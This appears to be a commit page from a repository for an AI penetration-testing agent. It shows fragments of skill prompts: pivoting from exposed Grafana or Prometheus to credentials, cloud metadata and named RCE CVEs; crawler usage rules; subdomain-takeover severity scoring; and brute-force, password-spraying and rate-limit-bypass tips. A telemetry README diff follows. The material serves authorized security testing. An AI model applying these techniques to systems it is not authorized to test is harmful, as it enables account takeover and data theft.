1. Always fingerprint the version first (`/api/health`, `/api/v1/status/buildinfo`) — it decides RCE vs read vs recon.
2. The exposed dashboard is never the finding; the pivot is. Chain to metadata creds, backend creds, or RCE before reporting.
3. Prometheus `<secret>` masking is incomplete — hunt usernames and **URL-embedded creds** in `/api/v1/status/config` and `remote_write`.
4. Grafana can query its own backends for you via the data source proxy — you don't need the plaintext password to exfil data.
5. `*_build_info` and `kube_node_info` metrics hand you exact component versions — turn them straight into CVE targets.
6. Pair with `ssrf`, `information_disclosure`, `kubernetes`, `aws`/`gcp`, and `authentication_jwt` skills; use `nuclei` templates (`grafana-*`, `prometheus-*`) for fast triage.
7. On k8s, an exposed Prometheus/KSM often reveals the whole cluster topology and image versions with zero auth — prioritize it as a recon multiplier.
## Summary
Grafana and Prometheus are pivot engines, not endpoints. Grafana holds plaintext-recoverable credentials for every backend, proxies arbitrary server-side requests by default (SSRF → cloud metadata), reads arbitrary files (CVE-2021-43798), and can hit RCE (CVE-2024-9264). Prometheus/Alertmanager expose internal inventory, versions, and scrape/receiver credentials with no auth. Treat any reachable observability service as a launch point into the internal network, cloud account, databases, and cluster — and prove the pivot.
- For `-kf`, keep depth at least `-d 3` so known files are fully covered.
- If writing to a file, ensure parent directory exists before `-o`.
Keeping output small (katana has NO default page cap, so plan for volume):
- Bound scope and volume: `-fs fqdn` (or `-cs`/`-cos` regex) so the crawl doesn't wander across every subdomain, `-mdp <n>` to cap pages per domain, `-fsu` to collapse near-identical URLs, and `-ct`/`-d` to bound time and depth.
- Shrink each record: default JSONL is verbose. If you only need endpoints, emit a plain URL list with `-f url` instead of `-j`. If you need JSONL, drop the heavy parts with `-or` (omit raw) and `-ob` (omit body), and lower `-mrs` to cap per-response bytes.
- Reserve `-jsl` / `-kf all` / higher `-d` for a specific narrowed target — they multiply output fast on large sites.
- Reduce, then delete: once the crawl finishes, extract just what you need (e.g. `katana ... -f url -o urls.txt` or `sort -u` a URL list, or a short note of interesting paths) and remove the raw crawl file/dir. Don't keep large raw crawls around after you've distilled them.
- Sanity-check size (`du -sh <out>`); if it's outsized for the scope, tighten `-fs`/`-mdp`/`-fsu`/`-d`/`-ct` and re-run rather than keeping it.
Usage rules:
- Keep `-d`, `-c`, `-p`, and `-rl` explicit for reproducible runs.
- Use `-ef` early to reduce static-file noise before fuzzing.
- Score severity based on current claimability plus trusted-origin impact, not just a provider-branded error page
- When evaluating severity, use `web_search` (if available) for the exact provider/product to confirm whether it now enforces subdomain takeover prevention such as TXT/custom-domain ownership verification or reserved-hostname protections; if search is unavailable, do not treat that absence as evidence that the provider prevents claiming
- If you have positively confirmed the provider currently prevents third-party claiming and you cannot bypass that control, treat the finding as low severity rather than a confirmed takeover — an unconfirmed provider control is not grounds for downgrading
- Reserve high/critical severity for cases where you can claim the resource or strongly prove claimability and show meaningful impact such as OAuth redirect abuse, cookie scope abuse, CSP trust, email receipt, or NS delegation control. E.g. Elastic Beanstalk takeovers are still generally legitimate.
## False Positives
- "Unknown domain" pages that are not claimable due to enforced TXT/ownership checks
description: Weak password detection, credential stuffing, and brute-force testing using common passwords, system-generated credentials, and tooling like Hydra
Weak or default credentials remain one of the most prevalent and high-impact vulnerabilities. This skill covers systematic detection of weak passwords through dictionary attacks, credential stuffing, system-generated password prediction, and brute-force tooling.
- Custom lists from Cewl, CeWL, or target-specific scraping
- Breach compilation subsets filtered by target relevance
## Validation
1. Confirm successful login with captured credentials (session token, cookie, or JWT)
2. Verify account access level: admin vs user privileges
3. Check if MFA is enforced post-login or can be bypassed
4. Test credential reuse across other endpoints or services
5. Document password policy weaknesses that allowed the breach
6. Verify if the same credentials work on staging, dev, or related domains
## False Positives
- Honey accounts or honeypot responses designed to mislead attackers
- Temporary lockouts that resolve quickly (distinguish from permanent bans)
- Different error messages that don't actually indicate valid username enumeration
- CAPTCHA or WAF blocking that appears as a failed login
- Rate limiting that returns 429 instead of 401 (adjust timing)
## Impact
- Complete account takeover for affected users
- Administrative access leading to full system compromise
- Lateral movement via reused credentials across services
- Data exfiltration, privilege escalation, and persistence
- Reputational damage and compliance violations (GDPR, PCI-DSS)
## Pro Tips
1. Always start with default credentials and vendor-specific lists before broad brute-force
2. Enumerate usernames first; password brute-force without valid users is inefficient
3. Use small, targeted wordlists before massive lists like rockyou.txt
4. Monitor for rate limiting and adapt delays; aggressive brute-force causes IP bans and alerts
5. Test for password spraying (one password, many users) before targeted brute-force
6. Check for concurrent session limits; successful logins may kick out legitimate users
7. GraphQL batching can test multiple credentials in a single request, bypassing per-request limits
8. Document the password policy and recommend minimum standards (length, complexity, breach checking)
9. When Hydra is unavailable, use ffuf or custom scripts with equivalent logic
10. Combine with MFA testing: weak passwords plus missing MFA is a critical finding
## Summary
Weak password detection requires systematic enumeration of authentication surfaces, intelligent wordlist selection, and careful brute-force execution. The highest impact often comes from default credentials, password spraying, and credential stuffing rather than exhaustive brute-force. Always validate findings with confirmed logins and assess the full scope of account compromise.
To help make Strix better for everyone, we collect anonymized data that helps us understand how to better improve our AI security agent for our users, guide the addition of new features, and fix common errors and bugs. This feedback loop is crucial for improving Strix's capabilities and user experience.
We use [PostHog](https://posthog.com), an open-source analytics platform, for data collection and analysis, along with [Scarf](https://scarf.sh). Our telemetry implementation is fully transparent - you can review the source code ([posthog.py](https://github.com/usestrix/strix/blob/main/strix/telemetry/posthog.py), [scarf.py](https://github.com/usestrix/strix/blob/main/strix/telemetry/scarf.py)) to see exactly what we track.
We use [PostHog](https://posthog.com), an open-source analytics platform, for data collection and analysis. Our telemetry implementation is fully transparent - you can review the [source code](https://github.com/usestrix/strix/blob/main/strix/telemetry/posthog.py) to see exactly what we track.
### Telemetry Policy
@@ -16,8 +16,7 @@ We collect only very **basic** usage data including:
**System Context:** OS type, architecture, Strix version\
**Scan Context:** Scan mode (quick/standard/deep), scan type (whitebox/blackbox)\
**Model Usage:** Which LLM model is being used (not prompts or responses)\
**Feature Usage:** Which built-in skills are loaded\
**Aggregate Metrics:** Vulnerability counts by severity and weakness category (CWE)
**Aggregate Metrics:** Vulnerability counts by severity
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
bearsyankees